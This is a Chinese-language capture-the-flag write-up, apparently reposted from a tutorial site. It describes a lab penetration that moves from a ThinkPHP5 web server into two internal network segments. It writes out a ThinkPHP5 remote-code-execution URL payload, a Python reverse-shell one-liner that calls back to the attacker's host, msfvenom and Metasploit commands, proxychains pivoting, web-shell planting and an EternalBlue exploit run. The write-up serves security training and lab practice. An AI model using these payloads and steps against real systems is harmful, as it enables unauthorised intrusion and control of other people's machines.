從web到內(nèi)網(wǎng)滲透的一次過程詳解
記一次從web到內(nèi)網(wǎng)的滲透
拓撲圖
環(huán)境介紹
現(xiàn)在有三臺機器,分別為target1,target2,target3,里面分別有三個flag,每個flag的分值不同,需要通過拿下一個已知IP(target1)進而向內(nèi)網(wǎng)里面進行滲透,最終要成功獲得三臺主機權限
滲透過程
target1
使用nmap進行掃描
可以看到開啟了80端口
瀏覽器訪問目標靶機80端口
可以看到就是apache的默認頁面
使用dirb進行目錄結構掃描
發(fā)現(xiàn)public
頁面
可以看到是thinkphp5搭建的網(wǎng)站,thinkphp5曾經(jīng)爆過一個遠程代碼執(zhí)行的漏洞,直接上網(wǎng)站尋找payload驗證是否存在漏洞
http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
可以看到確實存在漏洞,現(xiàn)在可以向網(wǎng)站里面寫入一句話木馬,然后用蟻劍去連接,這是一種方法,但是也可以直接去嘗試反彈一個shell到kali上
kali上執(zhí)行:nc -lvvp 4444 瀏覽器中執(zhí)行:http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.109.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);
可以看到kali這邊成功反彈到了一個shell
使用python生成一個交互式的shell
查找一下flag
成功獲得第一個flag
使用msfvenom生成一個反向的shellcode
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf
使用python開啟一個臨時http服務
靶機下載該shellcode
然后kali打開msf,進行監(jiān)聽
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lport 5555 set lhost 192.168.109.128 exploit
然后靶機上給予shellcode執(zhí)行的權限后執(zhí)行該文件
可以看到kali這邊成功返回一個meterpreter
查看一下網(wǎng)絡配置
可以看到target1還存在一個網(wǎng)段
添加路由表
配置socks代理
use auxiliary/server/socks_proxy exploit
配置proxychains代理鏈
vim /etc/proxychains4.conf
target2
掃描10.1.1.0/24這個網(wǎng)段是否還存在其他機器
use auxiliary/scanner/portscan/tcp set rhosts 10.1.1.0/24 set ports 1-1000 set threads 50 exploit
可以看到該網(wǎng)段還存在一臺機器為10.1.1.150
使用nmap掃描10.1.1.150開放端口
proxychains4 nmap -Pn -sT 10.1.1.150
可以看到也開放了80端口
這里直接用瀏覽器去訪問10.1.1.150的80端口顯然是不行的,不過火狐瀏覽器也是支持socks代理的
再次訪問網(wǎng)站
查看robots.txt
文件
找到后臺登入位置
直接使用弱密碼admin:admin
登入成功
成功獲得第二個flag,找到模板位置,發(fā)現(xiàn)里面的源碼都是可以編輯的
寫入一句話木馬
然后使用蟻劍去連接,當然直接去連接肯定也是不行的,不過蟻劍也是支持代理設置的
之后再正常去連接就行了,但是我這里不知道是環(huán)境問題還是蟻劍的問題,正常來說這里是肯定能連接成功的,我試了很多遍都沒有成功,然后想著直接把那個頁面里面的源碼直接換為大馬,也是不行的,因為一般大馬都是經(jīng)過作者編譯過了,直接復制過去肯定會有問題,最后只能直接將大馬事先準備在了網(wǎng)站根目錄下面,這里主要是為了體現(xiàn)內(nèi)網(wǎng)滲透,所以這里也不細說
訪問大馬
使用msfvenom生成一個正向連接的shellcode
msfvenom -p windows/meterpreter/bind_tcp lport=6666 -f exe -o 1.exe
然后通過大馬將shellcode上傳到目標服務器
然后再次進入之前打開的msf
然后在大馬上執(zhí)行上傳的shellcode
可以看到kali這邊成功返回了一個meterpreter
查看網(wǎng)絡配置
可以看到還有一個網(wǎng)段10.1.2.0/24
將路由添加到路由表
run post/multi/manage/autoroute
taget3
掃描10.1.2.0/24網(wǎng)段是否還存在其他機器
use auxiliary/scanner/portscan/tcp set rhosts 10.1.2.0/24 set ports 1-1000 set threads 100 exploit
這里掃描實在太慢,這個網(wǎng)段還有一個機器IP為10.1.2.250
然后再添加一層socks代理
use auxiliary/server/socks_proxy set srvport 2222 exploit
配置proxychains代理鏈
vim /etc/proxychains4.conf
使用nmap進行端口掃描
proxychains4 nmap -Pn -sT 10.1.2.250
根據(jù)掃描結果判斷操作系統(tǒng)為windows
再使用nmap的漏掃腳本進行掃描
proxychains4 nmap --script=vuln 10.1.2.250
可以看到存在ms17-010,直接上msf尋找攻擊模塊
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set rhost 10.1.2.250 exploit
查找一下flag
三臺主機的權限全部那先,所有flag查找完畢,至此,滲透結束
以上就是從web到內(nèi)網(wǎng)滲透的一次過程詳解的詳細內(nèi)容,更多關于web到內(nèi)網(wǎng)滲透過程的資料請關注腳本之家其它相關文章!